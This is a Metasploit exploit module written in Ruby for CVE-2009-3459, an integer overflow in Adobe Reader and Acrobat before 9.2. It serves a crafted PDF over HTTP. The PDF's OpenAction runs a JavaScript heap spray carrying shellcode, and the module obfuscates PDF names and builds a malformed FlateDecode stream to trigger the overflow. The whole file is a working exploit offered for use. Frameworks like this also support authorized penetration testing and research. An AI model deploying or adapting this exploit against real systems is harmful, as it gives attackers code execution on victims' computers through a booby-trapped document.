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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',
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      'Description'    => %q{
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          This module exploits an integer overflow vulnerability in Adobe Reader and Adobe
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        Acrobat Professional versions before 9.2.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'unknown', # Found in the wild
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          # Metasploit version by:
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          'jduck',
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          'jabra'
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2009-3459' ],
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          [ 'BID', '36600' ],
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          [ 'OSVDB', '58729' ],
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          [ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ],
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          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'         => 1024,
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          'BadChars'      => "\x00",
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          'DisableNops'    => true
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # test results (on Windows XP SP3)
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          # reader 7.0.5 - untested
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          # reader 7.0.8 - untested
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          # reader 7.0.9 - untested
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          # reader 7.1.0 - untested
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          # reader 7.1.1 - untested
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          # reader 8.0.0 - untested
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          # reader 8.1.2 - untested
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          # reader 8.1.3 - untested
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          # reader 8.1.4 - untested
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          # reader 8.1.5 - untested
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          # reader 8.1.6 - untested
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          # reader 9.0.0 - untested
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          # reader 9.1.0 - works!
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          # reader 9.2 - not vulnerable
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          [ 'Adobe Reader Windows Universal (JS Heap Spray)',
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            {
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              'Size'      => ((1024*1024) - 32)
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            }
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          ],
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        ],
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      'DisclosureDate' => '2009-10-08',
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      'DefaultTarget'  => 0))
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  end
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  def autofilter
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    false
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  end
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  def check_dependencies
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    use_zlib
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  end
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  def on_request_uri(cli, request)
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    return if ((p = regenerate_payload(cli)) == nil)
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    # Encode the shellcode.
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    # Make some nops
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    nops    = Rex::Text.to_unescape(make_nops(4))
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    randnop = rand_text_alpha(rand(100) + 1)
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    # Randomize variables
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    rand1  = rand_text_alpha(rand(100) + 1)
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    rand2  = rand_text_alpha(rand(100) + 1)
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    script = %Q|
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var #{rand1} = unescape("#{shellcode}");
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var #{randnop} = "#{nops}";
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var #{rand2} = unescape(#{randnop});
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while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};
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#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
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memory = new Array();
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for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }
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|
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    # Create the pdf
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    pdf = make_pdf(script)
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    print_status("Sending #{self.name}")
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    send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
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    handler(cli)
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  end
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  def random_non_ascii_string(count)
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    result = ""
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    count.times do
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      result << (rand(128) + 128).chr
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    end
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    result
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  end
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  def io_def(id)
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    "%d 0 obj" % id
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  end
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  def io_ref(id)
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    "%d 0 R" % id
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  end
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  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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  def n_obfu(str)
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    result = ""
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    str.scan(/./u) do |c|
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      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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        result << "#%x" % c.unpack("C*")[0]
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      else
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        result << c
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      end
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    end
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    result
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  end
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  def ascii_hex_whitespace_encode(str)
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    result = ""
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    whitespace = ""
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    str.each_byte do |b|
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      result << whitespace << "%02x" % b
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      whitespace = " " * (rand(3) + 1)
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    end
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    result << ">"
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  end
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  def make_flate_data()
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    # NOTE: this data is from the original, in-the-wild exploit...
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    # on 9.1.0 xpsp3, this causes a crash executing 0x70000000
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    # that's not exactly a fun address to try to heap spray to
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    bpc = 1
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    data = "\x00\x00\x20\x00\x00\x00\x10"
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    # this way, we can adjust dwords on the heap by 8-bits of data..
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    # this leads to eip being around 0x1000xxxx, much more friendly
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    bpc = 8
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    addend = 9
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    data = "\x00" * 64
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    data[18,1] = [addend].pack('C')
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    data[51,1] = [addend].pack('C')
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    return bpc, data
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  end
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  def make_pdf(js)
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    xref = []
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    eol = "\x0d\x0a"
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    endobj = "endobj" << eol
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    # Randomize PDF version?
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    pdf = "%PDF-1.5" << eol
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    pdf << "%" << random_non_ascii_string(4) << eol
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    xref << pdf.length
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    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2)
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    pdf << n_obfu("/Pages ") << io_ref(3)
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    pdf << n_obfu("/OpenAction ") << io_ref(5)
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    pdf << ">>" << endobj
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    xref << pdf.length
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    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
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    xref << pdf.length
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    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
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    xref << pdf.length
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    pdf << io_def(4) << n_obfu("<</Contents ") << io_ref(7)
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    pdf << n_obfu("/Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
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    xref << pdf.length
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    pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
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    xref << pdf.length
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    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
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    pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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    pdf << "stream" << eol
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    pdf << compressed << eol
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    pdf << "endstream" << eol
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    pdf << endobj
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    # generate data for inside the flate'd stream
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    bits_per_component, data = make_flate_data()
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    compressed = Zlib::Deflate.deflate(data)
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    xref << pdf.length
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    pdf << io_def(7) << n_obfu("<</DecodeParms")
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    pdf << n_obfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)
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    pdf << n_obfu("/Length %s/Filter/FlateDecode>>" % compressed.length)
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    pdf << "stream" << eol
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    pdf << compressed << eol
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    pdf << "endstream" << eol
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    pdf << endobj
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    xrefPosition = pdf.length
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    pdf << "xref" << eol
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    pdf << "0 %d" % (xref.length + 1) << eol
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    pdf << "0000000000 65535 f" << eol
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    xref.each do |index|
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      pdf << "%010d 00000 n" % index << eol
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    end
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    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
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    pdf << "startxref" << eol
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    pdf << xrefPosition.to_s() << eol
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    pdf << "%%EOF" << eol
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  end
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end
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